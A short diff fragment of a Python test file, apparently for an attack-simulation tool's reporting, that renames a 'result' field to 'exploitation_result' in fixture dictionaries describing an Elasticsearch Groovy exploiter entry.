"exploiter": "ElasticGroovyExploiter",
|
"exploiter": "ElasticGroovyExploiter",
|
||||||
"info": {
|
"info": {
|
||||||
"display_name": "Elastic search",
|
"display_name": "Elastic search",
|
||||||
|
@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT)
|
||||||
NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0]
|
NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0]
|
||||||
|
|
||||||
NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT)
|
NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT)
|
||||||
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False
|
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False
|
||||||
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False
|
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
|
|
Loading…
Reference in New Issue